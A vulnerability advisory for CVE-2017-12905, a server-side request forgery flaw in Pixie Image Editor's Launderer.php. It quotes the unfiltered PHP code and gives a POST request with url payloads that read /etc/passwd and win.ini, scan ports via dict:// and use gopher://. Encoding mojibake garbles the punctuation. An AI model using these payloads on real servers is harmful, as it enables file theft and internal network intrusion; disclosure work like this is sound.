Pixie Image Editor 1.7 Server-Side Request Forgery

Pixie Image Editor versions 1.4 and 1.7 suffer from a server-side request forgery vulnerability.

MD5 | 6ae5751a6dc8636ad952d34e7678cc2a

Pixie image Editor SSRF vulnerability for CVE-2017-12905

title: Pixie image Editor SSRF vulnerability for CVE-2017-12905

Date: 20/09/2017

Vulnerability TypePSo SSRF(Server Side Request Forgery)

Vendor of ProductPSo vebtoPS"vebto.comPS(c)

Attack TypePSo Remote

ImpactPSo Importent

AuthorPSoBeiJing Baimaohui technology co., LTD.

VersionPSo Pixie Image Editor 1.4 and 1.7

CVE-ID : CVE-2017-12905


I found "Pixie Image Editor" a vulnerabilityPS!this vulnerability allow remote attacks to arbitrary files readPS!scan network portPS!information detection,attack internal network vulnerable!-s serverPS!may even cause a remote command

In the `Launderer.php` file did not send to the POST of the url parameter to filter is introduced into the curl_exec or file_get_contents, resulting in SSRF holes or arbitrary files read.

Flaws in the codePSo

if (isset($_POST['url'])) {
$url = $_POST['url'];
$mime = pathinfo($url, PATHINFO_EXTENSION);

if (function_exists('curl_version')) {
$handle = curl_init();
curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, false);

$data = curl_exec($handle);

} else {
$data = file_get_contents($url);

$imageData = base64_encode($data);
$formatted = 'data: '.$mime.';base64,'.$imageData;

echo $formatted;

I've been tested success of "Pixie Image Editor" 1.4 and 1.7 version.

==========Attack vector==========

POST /pixie/launderer.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Connection: close
Upgrade-Insecure-Requests: 1




modify the above url parameterPS!examplePS!file:

request http protocol: url=http://123.test.clogs.ml

request https protocol: url=https://www.google.com

request ftp protocol: url=ftp://123.test.clogs.ml

file readPSourl=file:///etc/passwd or url=file:///c:/windows/win.ini



If the curl correlation function is available,then use gopher!C/tftp!C/http!C/https!C/dict!C/ldap!C/file!C/imap!C/pop3!C/smtp!C/telnet protocols methodPS!if not then only use http!C/https!C/ftp protocol

scan prot,example: url=dict://
use gopher protocol: url=gopher://

this vulnerability trigger need allow_url_fopen option is enable in php.iniPS!allow_url_fopen option defualt is enable.


2017-08-17 Found Pixie editor's vulnerability.

2017-08-18 Submit vulnerability information to Vendor.

2017-08-18 Submit CVE-ID request

2017-09-20 Vendor no response, Public vulnerability information

Best wishes!

BeiJing Baimaohui technology co., LTD.

http://www.baimaohui.net & https://www.fofa.so

[email protected]

Related Posts